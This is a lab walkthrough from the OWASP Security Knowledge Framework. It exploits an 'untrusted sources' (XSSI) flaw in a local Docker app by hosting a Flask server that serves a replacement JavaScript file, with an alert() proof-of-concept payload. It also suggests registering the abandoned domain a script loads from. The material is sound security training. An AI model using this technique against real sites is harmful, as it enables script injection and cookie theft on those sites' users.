Java - Untrusted Sources (XSSI)

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-untrusted-sources

$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-untrusted-sources

Now that the app is running let's go hacking!

Reconnaissance

Step1

When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware

First, let's check the application to see if there are any sources being loaded in the app that return a 404.

When inspecting the network tab we see that the application fails to load a JS file to the URL

https://localhost:8081/script-provider/javascript.js

note: in a penetration test we would now see if the domain that is used to grab the js source file from is free for us to register

Exploitation

Step1

Now, in order to leverage a successfull XSS attack we need to set up our own local server on port 8081 that serves the our malicious javascript. You could achieve this in many diferent ways, let's use python flask:

from flask import Flask, send_file, request

app = Flask(__name__, static_folder='.', static_url_path='')

@app.route('/<path:path>')
def send_js(path):
    return send_file(f'script-provider/{path}')

if __name__ == '__main__':
    app.run(port=8081)

Step2

We ofcourse also need to set the right path where to serve the file from:

./script-provider/javascript.js

Step3

The content of the JS file that we use to deliver the malicious XSS from looks no more basic than this:

alert("evil payload");

Step4

Now it is time to start our web server.

$ pip3 install flask requests send_file
$ python3 app.py

Step5

We visit the target application where we now find our 'alert' that we coded in our javascript.js file

Additional sources

XSSI (Cross-Site Script Inclusion)HackTricks